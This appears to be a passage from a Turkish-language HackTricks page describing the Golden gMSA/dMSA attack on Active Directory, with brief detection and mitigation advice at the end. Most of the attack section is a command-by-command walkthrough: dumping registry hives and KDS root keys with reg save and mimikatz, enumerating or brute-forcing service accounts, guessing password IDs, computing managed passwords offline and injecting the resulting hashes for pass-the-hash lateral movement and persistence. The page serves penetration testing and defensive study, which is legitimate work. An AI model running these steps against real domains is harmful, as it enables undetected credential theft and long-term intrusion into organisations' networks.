||||
|
||||
Türevleme işlemi: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 baytlık blob nihayetinde **base64-şifrelenir** ve `msDS-ManagedPassword` niteliğinde saklanır. Normal parola kullanımı sırasında Kerberos trafiği veya alan etkileşimi gerekmemektedir – bir üye ana bilgisayar, üç girdi bilindiği sürece parolayı yerel olarak türetebilir.
|
||||
|
||||
## Golden gMSA / Golden dMSA Saldırısı
|
||||
|
||||
Bir saldırgan, tüm üç girdi **çevrimdışı** elde edebilirse, **orman içindeki herhangi bir gMSA/dMSA için geçerli mevcut ve gelecekteki parolaları** hesaplayabilir ve DC'ye tekrar dokunmadan, aşağıdakileri atlayarak:
|
||||
|
||||
* Kerberos ön kimlik doğrulama / bilet talep günlükleri
|
||||
* LDAP okuma denetimi
|
||||
* Parola değiştirme aralıkları (önceden hesaplayabilirler)
|
||||
|
||||
Bu, hizmet hesapları için bir *Golden Ticket* ile benzerlik göstermektedir.
|
||||
|
||||
### Ön Koşullar
|
||||
|
||||
1. **Bir DC'nin** (veya Kurumsal Yönetici) **orman düzeyinde ele geçirilmesi**. `SYSTEM` erişimi yeterlidir.
|
||||
2. Hizmet hesaplarını listeleme yeteneği (LDAP okuma / RID brute-force).
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) veya eşdeğer kodu çalıştırmak için .NET ≥ 4.7.2 x64 iş istasyonu.
|
||||
|
||||
### Aşama 1 – KDS Kök Anahtarını Çıkar
|
||||
|
||||
Herhangi bir DC'den döküm alın (Hacim Gölge Kopyası / ham SAM+SECURITY hives veya uzaktan sırlar):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
```
|
||||
`RootKey` (GUID adı) olarak etiketlenen base64 dizesi, sonraki adımlarda gereklidir.
|
||||
|
||||
### Aşama 2 – gMSA/dMSA nesnelerini listele
|
||||
|
||||
En az `sAMAccountName`, `objectSid` ve `msDS-ManagedPasswordId` değerlerini al:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) yardımcı modları uygular:
|
||||
```powershell
|
||||
# LDAP enumeration (kerberos / simple bind)
|
||||
GoldendMSA.exe info -d example.local -m ldap
|
||||
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Aşama 3 – Yönetilen Parola Kimliğini Tahmin Et / Keşfet (eksik olduğunda)
|
||||
|
||||
Bazı dağıtımlar `msDS-ManagedPasswordId`'yi ACL korumalı okumadan *çıkarır*.
|
||||
GUID 128 bit olduğundan, basit bir brute force uygulanabilir değildir, ancak:
|
||||
|
||||
1. İlk **32 bit = Hesap oluşturma Unix epoch zamanı** (dakika çözünürlüğü).
|
||||
2. Ardından 96 rastgele bit gelir.
|
||||
|
||||
Bu nedenle, her hesap için **dar bir kelime listesi** (± birkaç saat) gerçekçidir.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Araç, aday şifreleri hesaplar ve bunların base64 blob'unu gerçek `msDS-ManagedPassword` niteliği ile karşılaştırır - eşleşme doğru GUID'i ortaya çıkarır.
|
||||
|
||||
### Aşama 4 – Çevrimdışı Şifre Hesaplama ve Dönüştürme
|
||||
|
||||
ManagedPasswordID bilindiğinde, geçerli şifre bir komut uzaklıktadır:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
```
|
||||
Sonuçta elde edilen hash'ler, gizli **lateral movement** ve **persistence** sağlamak için **mimikatz** (`sekurlsa::pth`) veya **Rubeus** ile enjekte edilebilir.
|
||||
|
||||
## Tespit ve Azaltma
|
||||
|
||||
* **DC yedekleme ve kayıt defteri hives okuma** yetkilerini Tier-0 yöneticileri ile sınırlayın.
|
||||
* DC'lerde **Directory Services Restore Mode (DSRM)** veya **Volume Shadow Copy** oluşturulmasını izleyin.
|
||||
* `CN=Master Root Keys,…` ve hizmet hesaplarının `userAccountControl` bayraklarındaki okuma / değişiklikleri denetleyin.
|
||||
* Alışılmadık **base64 şifre yazımları** veya aniden hizmet şifresinin birden fazla hostta yeniden kullanılmasını tespit edin.
|
||||
* Tier-0 izolasyonunun mümkün olmadığı durumlarda yüksek ayrıcalıklı gMSA'ları, düzenli rastgele döngülerle **klasik hizmet hesaplarına** dönüştürmeyi düşünün.
|
||||
|
||||
## Araçlar
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – bu sayfada kullanılan referans uygulaması.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – türetilmiş AES anahtarları kullanarak bilet geçişi.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Golden dMSA – yetkilendirme atlatma için devredilen Yönetilen Hizmet Hesapları](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [Semperis/GoldenDMSA GitHub deposu](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA güven saldırısı](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user